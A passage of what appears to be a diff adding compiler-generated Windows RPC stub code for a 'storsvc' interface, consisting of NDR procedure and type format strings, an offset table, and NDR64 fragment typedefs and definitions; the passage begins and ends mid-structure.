0x44, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x11a ), NdrFcShort( 0x18 ), NdrFcShort( 0x22 ), NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x5 ), NdrFcShort( 0x30 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x14 ), NdrFcShort( 0x44 ), 0x44, + 0x5, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x2112 ), NdrFcShort( 0x20 ), NdrFcShort( 0x48 ), NdrFcShort( 0x70 ), NdrFcShort( 0x28 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x6 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x10 ), NdrFcShort( 0x8 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x7 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x10 ), NdrFcShort( 0x8 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x8 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0xe ), NdrFcShort( 0x8 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x9 ), NdrFcShort( 0x30 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x14 ), NdrFcShort( 0x24 ), 0x44, + 0x5, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x6, + 0x0, NdrFcShort( 0x2150 ), NdrFcShort( 0x20 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x28 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0xa ), NdrFcShort( 0x10 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x8 ), 0x44, + 0x1, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x70 ), NdrFcShort( 0x8 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0xb ), NdrFcShort( 0x30 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x1c ), NdrFcShort( 0x8 ), 0x44, + 0x5, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x20 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x28 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0xc ), NdrFcShort( 0x18 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x8 ), 0x46, + 0x2, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x10b ), NdrFcShort( 0x8 ), NdrFcShort( 0x56 ), NdrFcShort( 0x70 ), NdrFcShort( 0x10 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0xd ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0xe ), NdrFcShort( 0x8 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0xe ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x8 ), NdrFcShort( 0x8 ), 0x46, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x10b ), NdrFcShort( 0x8 ), NdrFcShort( 0x68 ), NdrFcShort( 0x10b ), NdrFcShort( 0x10 ), NdrFcShort( 0x68 ), NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0xb8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0xf ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0xe ), NdrFcShort( 0x8 ), 0x47, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x11b ), NdrFcShort( 0x18 ), NdrFcShort( 0x6e ), NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x10 ), NdrFcShort( 0x10 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x8 ), 0x44, + 0x1, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x70 ), NdrFcShort( 0x8 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x11 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0xe ), NdrFcShort( 0x8 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x12 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x6 ), NdrFcShort( 0x24 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x2150 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x13 ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x6 ), NdrFcShort( 0x24 ), 0x46, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0xb ), NdrFcShort( 0x10 ), NdrFcShort( 0x7c ), NdrFcShort( 0x2150 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x14 ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0xe ), NdrFcShort( 0x8 ), 0x46, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0xb ), NdrFcShort( 0x10 ), NdrFcShort( 0x7c ), NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x15 ), NdrFcShort( 0x18 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x8 ), 0x47, + 0x2, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x11b ), NdrFcShort( 0x8 ), NdrFcShort( 0x84 ), NdrFcShort( 0x70 ), NdrFcShort( 0x10 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x16 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x24 ), 0x45, + 0x3, 0xa, + 0x3, NdrFcShort( 0x1 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x2013 ), NdrFcShort( 0x8 ), NdrFcShort( 0x94 ), NdrFcShort( 0x2150 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x17 ), NdrFcShort( 0x18 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x8 ), 0x47, + 0x2, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x201b ), NdrFcShort( 0x8 ), NdrFcShort( 0xc8 ), NdrFcShort( 0x70 ), NdrFcShort( 0x10 ), 0x8, + 0x0, + + 0x0 + } + }; + +static const storsvc_MIDL_TYPE_FORMAT_STRING storsvc__MIDL_TypeFormatString = + { + 0, + { + NdrFcShort( 0x0 ), + 0x11, 0xc, 0x8, + 0x5c, + 0x11, 0x0, NdrFcShort( 0x1a ), + 0x1d, + 0x1, NdrFcShort( 0x208 ), 0x5, + 0x5b, + 0x1d, + 0x0, NdrFcShort( 0x8 ), 0x1, + 0x5b, + 0x15, + 0x3, NdrFcShort( 0x10 ), 0x8, + 0x6, 0x6, + 0x4c, 0x0, + NdrFcShort( 0xfff1 ), + 0x5b, + 0x15, + 0x7, NdrFcShort( 0x448 ), 0x8, + 0x4c, 0x0, + NdrFcShort( 0xffe1 ), + 0x8, 0x6, + 0x6, 0x8, + 0x6, 0x6, + 0x4c, 0x0, + NdrFcShort( 0xffe3 ), + 0x8, 0xb, + 0x4c, 0x0, + NdrFcShort( 0xffd1 ), + 0x8, 0x8, + 0x5b, + 0x11, 0x4, NdrFcShort( 0x8 ), + 0x1d, + 0x3, NdrFcShort( 0x8 ), 0x8, + 0x5b, + 0x15, + 0x3, NdrFcShort( 0x8 ), 0x4c, + 0x0, NdrFcShort( 0xfff4 ), 0x5c, + 0x5b, + 0x11, 0x0, NdrFcShort( 0x2 ), 0xb1, + 0x3, NdrFcShort( 0x10 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), 0x8, + 0x6, 0x3e, + 0x8, 0x6, + 0x6, 0x5c, + 0x5b, + 0x11, 0x8, + 0x25, + 0x5c, + 0x11, 0x0, NdrFcShort( 0x2 ), + 0x1a, + 0x3, NdrFcShort( 0x10 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), 0x8, + 0x8, 0x8, + 0x6, 0x3e, + 0x5b, + 0x12, 0x8, + 0x25, + 0x5c, + 0x11, 0x0, NdrFcShort( 0x2 ), 0xb1, + 0x3, NdrFcShort( 0x18 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), 0x8, + 0x6, 0x3e, + 0x8, 0x8, + 0x8, 0x8, + 0x5b, + 0x11, 0x14, NdrFcShort( 0x2 ), + 0x12, 0x20, NdrFcShort( 0x18 ), + 0x1d, + 0x1, NdrFcShort( 0x4e ), 0x5, + 0x5b, + 0x1a, + 0x7, NdrFcShort( 0x58 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), 0xc, + 0x4c, 0x0, + NdrFcShort( 0xffef ), + 0x3e, 0x5c, + 0x5b, + 0x21, + 0x7, NdrFcShort( 0x0 ), 0x28, + 0x54, NdrFcShort( 0x10 ), NdrFcShort( 0x0 ), NdrFcLong( 0xffffffff ), NdrFcShort( 0x0 ), 0x4c, + 0x0, NdrFcShort( 0xffde ), 0x5c, + 0x5b, + 0x11, 0x14, NdrFcShort( 0xffb2 ), + + 0x0 + } + }; + +static const unsigned short DefaultIfName_FormatStringOffsetTable[] = + { + 0, + 54, + 108, + 162, + 210, + 264, + 324, + 372, + 420, + 468, + 528, + 564, + 624, + 666, + 714, + 768, + 822, + 858, + 906, + 954, + 1008, + 1062, + 1104, + 1152 + }; + + + +#endif + +#if defined(_M_AMD64) + + + + +#if !defined(__RPC_WIN64__) +#error Invalid build platform for this stub. +#endif + + +#include "ndr64types.h" +#include "pshpack8.h" + + +typedef +NDR64_FORMAT_CHAR +__midl_frag124_t; +extern const __midl_frag124_t __midl_frag124; + +typedef +struct _NDR64_CONFORMANT_STRING_FORMAT +__midl_frag123_t; +extern const __midl_frag123_t __midl_frag123; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag122_t; +extern const __midl_frag122_t __midl_frag122; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag121_t; +extern const __midl_frag121_t __midl_frag121; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag120_t; +extern const __midl_frag120_t __midl_frag120; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag117_t; +extern const __midl_frag117_t __midl_frag117; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag116_t; +extern const __midl_frag116_t __midl_frag116; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag115_t; +extern const __midl_frag115_t __midl_frag115; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag114_t; +extern const __midl_frag114_t __midl_frag114; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag113_t; +extern const __midl_frag113_t __midl_frag113; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag112_t; +extern const __midl_frag112_t __midl_frag112; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag111_t; +extern const __midl_frag111_t __midl_frag111; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag109_t; +extern const __midl_frag109_t __midl_frag109; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag108_t; +extern const __midl_frag108_t __midl_frag108; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag107_t; +extern const __midl_frag107_t __midl_frag107; + +typedef +NDR64_FORMAT_CHAR +__midl_frag102_t; +extern const __midl_frag102_t __midl_frag102; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag101_t; +extern const __midl_frag101_t __midl_frag101; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag94_t; +extern const __midl_frag94_t __midl_frag94; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag89_t; +extern const __midl_frag89_t __midl_frag89; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag85_t; +extern const __midl_frag85_t __midl_frag85; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; +} +__midl_frag83_t; +extern const __midl_frag83_t __midl_frag83; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag81_t; +extern const __midl_frag81_t __midl_frag81; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag80_t; +extern const __midl_frag80_t __midl_frag80; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag77_t; +extern const __midl_frag77_t __midl_frag77; + +typedef +NDR64_FORMAT_CHAR +__midl_frag76_t; +extern const __midl_frag76_t __midl_frag76; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag73_t; +extern const __midl_frag73_t __midl_frag73; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag70_t; +extern const __midl_frag70_t __midl_frag70; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + } frag2; +} +__midl_frag64_t; +extern const __midl_frag64_t __midl_frag64; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag63_t; +extern const __midl_frag63_t __midl_frag63; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag62_t; +extern const __midl_frag62_t __midl_frag62; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag56_t; +extern const __midl_frag56_t __midl_frag56; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag47_t; +extern const __midl_frag47_t __midl_frag47; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag39_t; +extern const __midl_frag39_t __midl_frag39; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag33_t; +extern const __midl_frag33_t __midl_frag33; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag32_t; +extern const __midl_frag32_t __midl_frag32; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag28_t; +extern const __midl_frag28_t __midl_frag28; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag26_t; +extern const __midl_frag26_t __midl_frag26; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag25_t; +extern const __midl_frag25_t __midl_frag25; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag22_t; +extern const __midl_frag22_t __midl_frag22; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag12_t; +extern const __midl_frag12_t __midl_frag12; + +typedef +NDR64_FORMAT_UINT32 +__midl_frag1_t; +extern const __midl_frag1_t __midl_frag1; + +static const __midl_frag124_t __midl_frag124 = +0x5; + +static const __midl_frag123_t __midl_frag123 = +{ + { + 0x64, + { + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT16) 2 + } +}; + +static const __midl_frag122_t __midl_frag122 = +{ + 0x21, + (NDR64_UINT8) 0, + (NDR64_UINT16) 0, + &__midl_frag123 +}; + +static const __midl_frag121_t __midl_frag121 = +{ + 0x20, + (NDR64_UINT8) 20, + (NDR64_UINT16) 0, + &__midl_frag122 +}; + +static const __midl_frag120_t __midl_frag120 = +{ + { + (NDR64_UINT32) 17694784, + (NDR64_UINT32) 24 , + (NDR64_UINT32) 0, + (NDR64_UINT32) 8, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 2, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag121, + { + 1, + 1, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 0 + }, + (NDR64_UINT16) 0, + 16, + } +}; + +static const __midl_frag117_t __midl_frag117 = +{ + 0x20, + (NDR64_UINT8) 12, + (NDR64_UINT16) 0, + &__midl_frag124 +}; + +static const __midl_frag116_t __midl_frag116 = +{ + { + 0x30, + (NDR64_UINT8) 7, + { + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 88 + } +}; + +static const __midl_frag115_t __midl_frag115 = +{ + (NDR64_UINT32) 0, + { + 0x4, + 0x5, + 0x5, + (NDR64_UINT8) 0 + }, + { + 0x3, + 0x7, + (NDR64_UINT16) 0, + (NDR64_UINT32) 16 + } +}; + +static const __midl_frag114_t __midl_frag114 = +{ + { + 0x41, + (NDR64_UINT8) 7, + { + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0, + (NDR64_UINT32) 88, + &__midl_frag115 + }, + { + (NDR64_UINT32) 88, + &__midl_frag116 + } +}; + +static const __midl_frag113_t __midl_frag113 = +{ + 0x21, + (NDR64_UINT8) 32, + (NDR64_UINT16) 0, + &__midl_frag114 +}; + +static const __midl_frag112_t __midl_frag112 = +{ + 0x20, + (NDR64_UINT8) 20, + (NDR64_UINT16) 0, + &__midl_frag113 +}; + +static const __midl_frag111_t __midl_frag111 = +{ + { + (NDR64_UINT32) 21626944, + (NDR64_UINT32) 32 , + (NDR64_UINT32) 0, + (NDR64_UINT32) 40, + (NDR64_UINT16) 0, + (NDR64_UINT16) 0, + (NDR64_UINT16) 3, + (NDR64_UINT16) 8 + }, + { + { + 0x72, + (NDR64_UINT8) 0, + 0, + (NDR64_UINT8) 0, + (NDR64_UINT8) 0 + }, + (NDR64_UINT16) 0 + }, + { + &__midl_frag112, + { + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 8, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0, + 1 + }, + (NDR64_UINT16) 0, + 16, + }, + { + &__midl_frag124, + { + 0, + 0, + 0, + 0, + 1, + 